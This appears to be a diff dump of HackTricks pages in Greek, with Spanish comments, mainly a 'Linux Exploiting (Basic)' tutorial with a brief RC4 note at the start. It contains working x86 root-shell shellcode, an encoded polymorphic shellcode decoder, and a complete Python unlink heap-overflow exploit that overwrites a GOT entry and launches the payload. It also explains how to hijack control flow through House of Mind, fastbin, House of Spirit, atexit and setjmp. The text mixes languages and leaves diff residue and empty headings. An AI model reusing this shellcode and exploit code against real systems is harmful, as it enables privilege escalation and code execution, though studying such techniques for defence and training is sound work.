Αν μπορείτε με κάποιον τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,9 +0,0 @@
# Ευπάθειες Emails
{{#include ./banners/hacktricks-training.md}}
##
##
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,542 +0,0 @@
# Linux Exploiting (Basic) (SPA)
{{#include ../../banners/hacktricks-training.md}}
## **2.SHELLCODE**
Δείτε διακοπές πυρήνα: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
exit(0); // \_\_NR_exit 1
xor eax, eax ; καθαρίζουμε το eax\
xor ebx, ebx ; ebx = 0 καθώς δεν υπάρχει επιχείρημα να περάσουμε\
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
int 0x80 ; Εκτέλεση syscall
**nasm -f elf assembly.asm** —> Μας επιστρέφει ένα .o\
**ld assembly.o -o shellcodeout** —> Μας δίνει ένα εκτελέσιμο που σχηματίζεται από τον κώδικα συναρμολόγησης και μπορούμε να πάρουμε τους opcodes με **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Για να δούμε ότι είναι πράγματι η shellcode μας και να πάρουμε τους OpCodes
**Ελέγξτε ότι η shellcode λειτουργεί**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Για να δούμε ότι οι κλήσεις συστήματος εκτελούνται σωστά, πρέπει να μεταγλωττίσουμε το προηγούμενο πρόγραμμα και οι κλήσεις συστήματος πρέπει να εμφανίζονται σε **strace ./PROGRAMA_COMPILADO**.
Όταν δημιουργούμε shellcodes, μπορούμε να κάνουμε ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον βάζει στο stack το EIP. Μετά από την εντολή call έχουμε βάλει το string που χρειαζόμαστε, οπότε με αυτό το EIP μπορούμε να δείξουμε στο string και επιπλέον να συνεχίσουμε την εκτέλεση του κώδικα.
ΕJ **ΚΟΛΠΟ (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ χρησιμοποιώντας το Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Αποτελείται από έναν μικρό κώδικα που διασχίζει τις σελίδες μνήμης που σχετίζονται με μια διαδικασία αναζητώντας τη shellcode που είναι αποθηκευμένη εκεί (αναζητά κάποια υπογραφή που έχει τοποθετηθεί στη shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μόνο ένας μικρός χώρος για την έγχυση κώδικα.
**Shellcodes polimórficos**
Αποτελούνται από κωδικοποιημένα shells που έχουν έναν μικρό κώδικα που τα αποκωδικοποιεί και πηδά σε αυτόν, χρησιμοποιώντας το κόλπο Call-Pop αυτό θα ήταν ένα **παράδειγμα κωδικοποιημένο cesar**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Συμπληρωματικές μέθοδοι**
**Τεχνική του Murat**
Στο linux όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από 0xbfffffff
Βλέποντας πώς κατασκευάζεται η στοίβα μιας νέας διαδικασίας στο linux, μπορεί να αναπτυχθεί ένα exploit με τέτοιο τρόπο ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον της οποίας η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτής μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(ΟΝΟΜΑ_εκτελέσιμου_αρχείου) - strlen(shellcode)
Με αυτόν τον τρόπο θα αποκτηθεί απλά η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode.
Αυτό μπορεί να γίνει χάρη στο γεγονός ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που να έχει μόνο τις μεταβλητές περιβάλλοντος που επιθυμείτε.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
Η **sprintf moves** μια μορφοποιημένη συμβολοσειρά **σε** μια **μεταβλητή.** Επομένως, θα μπορούσατε να εκμεταλλευτείτε τη **μορφοποίηση** μιας συμβολοσειράς για να προκαλέσετε μια **buffer overflow στη μεταβλητή** όπου αντιγράφεται το περιεχόμενο.\
Για παράδειγμα, το payload `%.44xAAAA` θα **γράψει 44B+"AAAA" στη μεταβλητή**, κάτι που μπορεί να προκαλέσει μια buffer overflow.
### **\_\_atexit Structures**
> [!CAUTION]
> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείτε αυτό**.
**`atexit()`** είναι μια συνάρτηση στην οποία **άλλες συναρτήσεις περνιούνται ως παράμετροι.** Αυτές οι **συναρτήσεις** θα **εκτελούνται** κατά την εκτέλεση ενός **`exit()`** ή της **επιστροφής** της **κύριας**.\
Εάν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** οποιασδήποτε από αυτές τις **συναρτήσεις** ώστε να δείχνει σε μια shellcode για παράδειγμα, θα **κερδίσετε έλεγχο** της **διαδικασίας**, αλλά αυτό είναι αυτή τη στιγμή πιο περίπλοκο.\
Αυτή τη στιγμή οι **διευθύνσεις στις συναρτήσεις** που θα εκτελούνται είναι **κρυμμένες** πίσω από πολλές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με μια **τυχαία κλειδί**. Έτσι, αυτή τη στιγμή αυτός ο επιθετικός παράγοντας δεν είναι **πολύ χρήσιμος τουλάχιστον σε x86** και **x64_86**.\
Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** γιατί **επιστρέφει το ίδιο** με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παράγοντα.
### **setjmp() & longjmp()**
> [!CAUTION]
> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείτε αυτό**.
**`Setjmp()`** επιτρέπει να **αποθηκεύσετε** το **περιβάλλον** (τους καταχωρητές)\
**`longjmp()`** επιτρέπει να **αποκαταστήσετε** το **περιβάλλον**.\
Οι **αποθηκευμένοι καταχωρητές** είναι: `EBX, ESI, EDI, ESP, EIP, EBP`\
Αυτό που συμβαίνει είναι ότι οι EIP και ESP περνιούνται από τη **συνάρτηση `PTR_MANGLE`**, έτσι η **αρχιτεκτονική ευάλωτη σε αυτή την επίθεση είναι η ίδια με την παραπάνω**.\
Είναι χρήσιμες για αποκατάσταση σφαλμάτων ή διακοπές.\
Ωστόσο, από όσα έχω διαβάσει, οι άλλοι καταχωρητές δεν είναι προστατευμένοι, **έτσι αν υπάρχει μια `call ebx`, `call esi` ή `call edi`** μέσα στη συνάρτηση που καλείται, μπορεί να αναληφθεί ο έλεγχος. Ή θα μπορούσατε επίσης να τροποποιήσετε το EBP για να τροποποιήσετε το ESP.
**VTable και VPTR σε C++**
Κάθε κλάση έχει μια **Vtable** που είναι ένας πίνακας **δεικτών σε μεθόδους**.
Κάθε αντικείμενο μιας **κλάσης** έχει ένα **VPtr** που είναι ένας **δείκτης** στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, έτσι αν επιτευχθεί μια **υπεργραφή** του **VPtr** θα μπορούσε να **τροποποιηθεί** ώστε να **δείχνει** σε μια ψεύτικη μέθοδο ώστε η εκτέλεση μιας συνάρτησης να πηγαίνει στη shellcode.
## **Προληπτικά μέτρα και αποφυγές**
###
**Αντικατάσταση του Libsafe**
Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2\
ή\
“/lib/libsave.so.2” > /etc/ld.so.preload
Εντοπίζονται οι κλήσεις σε ορισμένες ανασφαλείς συναρτήσεις με άλλες ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για κατασκευές με -fomit-frame-pointer, όχι στατικές κατασκευές, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid).
**ASCII Armored Address Space**
Συνίσταται στη φόρτωση των κοινών βιβλιοθηκών από 0x00000000 έως 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό πραγματικά δεν σταματά σχεδόν καμία επίθεση, και λιγότερο σε little endian.
**ret2plt**
Συνίσταται στην εκτέλεση ενός ROP ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει το πρώτο byte της συνάρτησης που θέλετε να καλέσετε (system()). Αμέσως μετά γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφεται το 2ο byte του system()… Στο τέλος καλείται η διεύθυνση που αποθηκεύτηκε στο GOT που θα είναι το system()
**Κλουβιά με chroot()**
debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα κάτω από έναν συγκεκριμένο υποκατάλογο
Ένας διαχειριστής μπορεί να βγει από ένα από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd ..
**Εργαλειοποίηση κώδικα**
Valgrind —> Αναζητά σφάλματα\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Βασικά exploits**
**Κατανεμημένο κομμάτι**
prev_size |\
size | —Κεφαλίδα\
\*mem | Δεδομένα
**Ελεύθερο κομμάτι**
prev_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Κεφαλίδα\
\*mem | Δεδομένα
Τα ελεύθερα κομμάτια βρίσκονται σε μια διπλά συνδεδεμένη λίστα (bin) και δεν μπορούν να υπάρχουν δύο ελεύθερα κομμάτια μαζί (συγχωνεύονται)
Στο “size” υπάρχουν bits για να υποδείξουν: Εάν το προηγούμενο κομμάτι είναι σε χρήση, εάν το κομμάτι έχει ανατεθεί μέσω mmap() και εάν το κομμάτι ανήκει στην πρωτεύουσα αρένα.
Εάν κατά την απελευθέρωση ενός κομματιού κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το νέο μεγαλύτερο κομμάτι περνάει στο frontlink() για να εισαχθεί στο κατάλληλο bin.
unlink(){\
BK = P->bk; —> Το BK του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο πριν\
FD = P->fd; —> Το FD του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο πριν\
FD->bk = BK; —> Το BK του επόμενου chunk δείχνει στο νέο chunk\
BK->fd = FD; —> Το FD του προηγούμενου chunk δείχνει στο νέο chunk\
}
Έτσι, αν καταφέρουμε να τροποποιήσουμε το P->bk με τη διεύθυνση μιας shellcode και το P->fd με τη διεύθυνση σε μια είσοδο στην GOT ή DTORS λιγότερο 12, επιτυγχάνεται:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
Και έτσι εκτελείται η shellcode κατά την έξοδο από το πρόγραμμα.
Επιπλέον, η 4η δήλωση του unlink() γράφει κάτι και η shellcode πρέπει να είναι προσαρμοσμένη για αυτό:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Αυτό προκαλεί την εγγραφή 4 bytes από το 8ο byte της shellcode, οπότε η πρώτη εντολή της shellcode πρέπει να είναι ένα jmp για να παραλείψει αυτό και να πέσει σε κάποια nops που θα οδηγήσουν στο υπόλοιπο της shellcode.
Έτσι, το exploit δημιουργείται:
Στο buffer1 βάζουμε τη shellcode ξεκινώντας με ένα jmp ώστε να πέσει σε nops ή στο υπόλοιπο της shellcode.
Μετά τη shell code βάζουμε γέμισμα μέχρι να φτάσουμε στο πεδίο prev_size και size του επόμενου κομματιού. Σε αυτές τις θέσεις βάζουμε 0xfffffff0 (έτσι ώστε να υπεργραφεί το prev_size ώστε να έχει το bit που λέει ότι είναι ελεύθερο) και “-4“(0xfffffffc) στο size (έτσι ώστε όταν ελέγξει στο 3ο κομμάτι αν το 2ο ήταν ελεύθερο στην πραγματικότητα να πάει στο τροποποιημένο prev_size που θα του πει ότι είναι ελεύθερο) -> Έτσι όταν το free() ερευνήσει θα πάει στο size του 3ου αλλά στην πραγματικότητα θα πάει στο 2ο - 4 και θα νομίζει ότι το 2ο κομμάτι είναι ελεύθερο. Και τότε θα καλέσει το **unlink()**.
Κατά την κλήση του unlink() θα χρησιμοποιήσει ως P->fd τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα μπει η διεύθυνση που θέλετε να υπεργράψετε - 12 (διότι στο FD->bk θα προσθέσει 12 στη διεύθυνση που αποθηκεύτηκε στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που θα βρει στο 2ο κομμάτι, που μας ενδιαφέρει να είναι η διεύθυνση στη shellcode (P->bk ψεύτικο).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre**
**addr_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
Ελέγχουμε 3 κομμάτια διαδοχικά και απελευθερώνονται με αντίστροφη σειρά από αυτήν που κρατήθηκαν.
Σε αυτή την περίπτωση:
Στο chunk c βάζουμε τη shellcode
Το chunk a το χρησιμοποιούμε για να υπεργράψουμε το b με τέτοιο τρόπο ώστε το size να έχει το bit PREV_INUSE απενεργοποιημένο ώστε να νομίζει ότι το chunk a είναι ελεύθερο.
Επιπλέον, υπεργράφουμε στην κεφαλίδα b το size ώστε να είναι -4.
Έτσι, το πρόγραμμα θα νομίζει ότι το “a” είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει το unlink() για να το αποσυνδέσει. Ωστόσο, καθώς η κεφαλίδα PREV_SIZE είναι -4. Θα νομίζει ότι το κομμάτι του “a” στην πραγματικότητα αρχίζει στο b+4. Δηλαδή, θα κάνει ένα unlink() σε ένα κομμάτι που αρχίζει στο b+4, οπότε στο b+12 θα είναι ο δείκτης “fd” και στο b+16 θα είναι ο δείκτης “bk”.
Έτσι, αν στο bk βάλουμε τη διεύθυνση στη shellcode και στο fd τη διεύθυνση στη συνάρτηση “puts()”-12 έχουμε το payload μας.
**Τεχνική Frontlink**
Ονομάζεται frontlink όταν απελευθερώνεται κάτι και κανένα από τα γειτονικά του κομμάτια δεν είναι ελεύθερα, δεν καλείται το unlink() αλλά καλείται απευθείας το frontlink().
Ευάλωτο όταν το malloc που επιτίθεται ποτέ δεν απελευθερώνεται (free()).
Απαιτεί:
Ένα buffer που μπορεί να υπερχειλίσει με τη συνάρτηση εισόδου δεδομένων
Ένα buffer που είναι γειτονικό σε αυτό που πρέπει να απελευθερωθεί και στο οποίο θα τροποποιηθεί το πεδίο fd της κεφαλίδας του χάρη στην υπερχείλιση του προηγούμενου buffer
Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από το προηγούμενο buffer
Ένα buffer δηλωμένο πριν από το βήμα 3 που επιτρέπει την υπεργραφή του prev_size αυτού
Με αυτόν τον τρόπο, επιτυγχάνοντας να υπεργράψουμε σε δύο mallocs με τρόπο ανεξέλεγκτο και σε ένα με ελεγχόμενο τρόπο αλλά που απελευθερώνεται μόνο αυτό, μπορούμε να κάνουμε ένα exploit.
**Ευαλωτότητα double free()**
Εάν καλέσετε δύο φορές το free() με τον ίδιο δείκτη, μένουν δύο bins να δείχνουν στην ίδια διεύθυνση.
Σε περίπτωση που θέλετε να ξαναχρησιμοποιήσετε ένα, θα ανατεθεί χωρίς προβλήματα. Σε περίπτωση που θέλετε να χρησιμοποιήσετε άλλο, θα του ανατεθεί ο ίδιος χώρος, οπότε θα έχουμε τους δείκτες “fd” και “bk” ψευδείς με τα δεδομένα που θα γράψει η προηγούμενη κράτηση.
**After free()**
Ένας δείκτης που έχει απελευθερωθεί προηγουμένως χρησιμοποιείται ξανά χωρίς έλεγχο.
## **8 Heap Overflows: Προχωρημένα exploits**
Οι τεχνικές Unlink() και FrontLink() αφαιρέθηκαν με την τροποποίηση της συνάρτησης unlink().
**The house of mind**
Μόνο μια κλήση στο free() είναι απαραίτητη για να προκαλέσει την εκτέλεση αυθαίρετου κώδικα. Είναι σημαντικό να αναζητήσετε ένα δεύτερο κομμάτι που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί.
Μια κλήση στο free() προκαλεί την κλήση του public_fREe(mem), αυτό κάνει:
mstate ar_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Επιστρέφει έναν δείκτη στη διεύθυνση όπου αρχίζει το κομμάτι (mem-8)
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
\_int_free(ar_ptr, mem);
}
Στο \[1] ελέγχει το πεδίο size το bit NON_MAIN_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επαλήθευση να επιστρέψει true και να εκτελέσει το heap_for_ptr() που κάνει ένα and στο “mem” αφήνοντας 0 τα 2.5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από 0x0804a000 αφήνει 0x08000000) και έχει πρόσβαση στο 0x08000000->ar_ptr (σαν να ήταν μια δομή heap_info)
Με αυτόν τον τρόπο, εάν μπορούμε να ελέγξουμε ένα κομμάτι για παράδειγμα στο 0x0804a000 και πρόκειται να απελευθερωθεί ένα κομμάτι στο **0x081002a0** μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα **0x0804a000**. Όταν αυτό το δεύτερο κομμάτι απελευθερωθεί, θα διαπιστώσει ότι το heap_for_ptr(ptr)->ar_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (διότι εφαρμόζεται στο 0x081002a0 το and που είδαμε πριν και από εκεί εξάγεται η τιμή των 4 πρώτων bytes, το ar_ptr)
Με αυτόν τον τρόπο καλείται το \_int_free(ar_ptr, mem), δηλαδή, **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Όπως είδαμε πριν, μπορούμε να ελέγξουμε την τιμή του av, διότι είναι αυτό που γράψαμε στο κομμάτι που πρόκειται να απελευθερωθεί.
Ακριβώς όπως ορίζεται το unsorted_chunks, γνωρίζουμε ότι:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Έτσι, αν στο av->bins\[2] γράψουμε την τιμή του \_\_DTOR_END\_\_-12 στην τελευταία εντολή θα γραφτεί στο \_\_DTOR_END\_\_ η διεύθυνση του δεύτερου κομματιού.
Δηλαδή, στο πρώτο κομμάτι πρέπει να βάλουμε στην αρχή πολλές φορές τη διεύθυνση του \_\_DTOR_END\_\_-12 γιατί από εκεί θα την πάρει το av->bins\[2]
Στη διεύθυνση που θα πέσει η διεύθυνση του δεύτερου κομματιού με τα τελευταία 5 μηδενικά πρέπει να γράψουμε τη διεύθυνση σε αυτό το πρώτο κομμάτι ώστε το heap_for_ptr() να νομίζει ότι το ar_ptr είναι στην αρχή του πρώτου κομματιού και να εξάγει από εκεί το av->bins\[2]
Στο δεύτερο κομμάτι και χάρη στο πρώτο υπεργράφουμε το prev_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON_MAIN_ARENA
Στη συνέχεια, στο κομμάτι 2 βάζουμε μια σωρεία nops και τελικά τη shellcode
Με αυτόν τον τρόπο θα κληθεί το \_int_free(TROZO1, TROZO2) και θα ακολουθήσει τις εντολές για να γράψει στο \_\_DTOR_END\_\_ τη διεύθυνση του prev_size του TROZO2 το οποίο θα παραλείψει στη shellcode.
Για να εφαρμοστεί αυτή η τεχνική απαιτείται να πληρούνται ορισμένες επιπλέον απαιτήσεις που περιπλέκουν λίγο περισσότερο το payload.
Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη καθώς εφαρμόστηκε σχεδόν η ίδια επιδιόρθωση όπως για το unlink. Συγκρίνονται αν η νέα θέση στην οποία δείχνει επίσης δείχνει σε αυτήν.
**Fastbin**
Είναι μια παραλλαγή του The house of mind
μας ενδιαφέρει να εκτελέσουμε τον επόμενο κώδικα στον οποίο φτάνουμε μετά την πρώτη επαλήθευση της συνάρτησης \_int_free()
fb = &(av->fastbins\[fastbin_index(size)] —> Όντας fastbin_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Με αυτόν τον τρόπο, αν βάλουμε στο “fb” τη διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα τοποθετηθεί η διεύθυνση στο κομμάτι που έχει υπεργραφεί. Για αυτό θα είναι απαραίτητο η αρένα να είναι κοντά στις διευθύνσεις των dtors. Πιο συγκεκριμένα, το av->max_fast πρέπει να είναι στη διεύθυνση που θα υπεργραφεί.
Δεδομένου ότι με το The House of Mind είδαμε ότι ελέγχαμε τη θέση του av.
Έτσι, αν στο πεδίο size βάλουμε ένα μέγεθος 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() θα μας επιστρέψει fastbins\[-1], που θα δείχνει στο av->max_fast
Σε αυτή την περίπτωση το av->max_fast θα είναι η διεύθυνση που θα υπεργραφεί (όχι σε αυτή που δείχνει, αλλά αυτή η θέση θα είναι η οποία θα υπεργραφεί).
Επιπλέον, πρέπει να πληρούνται οι προϋποθέσεις ότι το κομμάτι που γειτονεύει με το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επίσης η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops).
Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system_mem. Το av->system_mem βρίσκεται 1848 bytes παρακάτω.
Λόγω των μηδενικών του \_DTOR_END\_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις διευθύνσεις δεν είναι κατάλληλη για να υπεργραφούν, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για να επιτεθούμε στη στοίβα.
Ένας άλλος τρόπος επίθεσης είναι να ανακατευθύνουμε το **av** προς τη στοίβα.
Εάν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8 τότε: fastbin_index() θα μας επιστρέψει fastbins\[0] και μπορούμε να χρησιμοποιήσουμε αυτό για να υπεργράψουμε τη στοίβα.
Για αυτό δεν πρέπει να υπάρχει κανένας canary ή περίεργες τιμές στη στοίβα, στην πραγματικότητα πρέπει να βρισκόμαστε σε αυτήν: 4 bytes μηδενικά + EBP + RET
Τα 4 μηδενικά bytes χρειάζονται ώστε το **av** να είναι σε αυτή τη διεύθυνση και το πρώτο στοιχείο ενός **av** είναι το mutex που πρέπει να είναι 0.
Το **av->max_fast** θα είναι το EBP και θα είναι μια τιμή που θα μας βοηθήσει να παρακάμψουμε τους περιορισμούς.
Στο **av->fastbins\[0]** θα υπεργραφεί με τη διεύθυνση του **p** και θα είναι το RET, έτσι θα παρακαμφθεί στη shellcode.
Επιπλέον, στο **av->system_mem** (1484 bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετή σαβούρα που θα μας επιτρέψει να παρακάμψουμε την επαλήθευση που πραγματοποιείται.
Επιπλέον, πρέπει να πληρούνται οι προϋποθέσεις ότι το κομμάτι που γειτονεύει με το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 16, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επίσης η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που θα ακολουθούν το πεδίο size του νέου ψεύτικου κομματιού).
**The House of Spirit**
Σε αυτή την περίπτωση αναζητούμε να έχουμε έναν δείκτη σε ένα malloc που μπορεί να είναι τροποποιήσιμο από τον επιτιθέμενο (π.χ., ο δείκτης να είναι στη στοίβα κάτω από μια πιθανή υπερχείλιση σε μια μεταβλητή).
Έτσι, θα μπορούσαμε να κάνουμε αυτόν τον δείκτη να δείχνει όπου θέλουμε. Ωστόσο, δεν είναι οποιαδήποτε θέση έγκυρη, το μέγεθος του ψεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητήθηκε σε μια μελλοντική κλήση στο malloc()+8. Για αυτό, αν ξέρουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται malloc(40), το μέγεθος του ψεύτικου κομματιού πρέπει να είναι ίσο με 48.
Εάν για παράδειγμα το πρόγραμμα ρωτούσε τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να δείξουμε τον τροποποιήσιμο δείκτη malloc στους επόμενους 4 bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλίδα size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί πολλές προϋποθέσεις (στην περίπτωση αυτή ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system_mem.
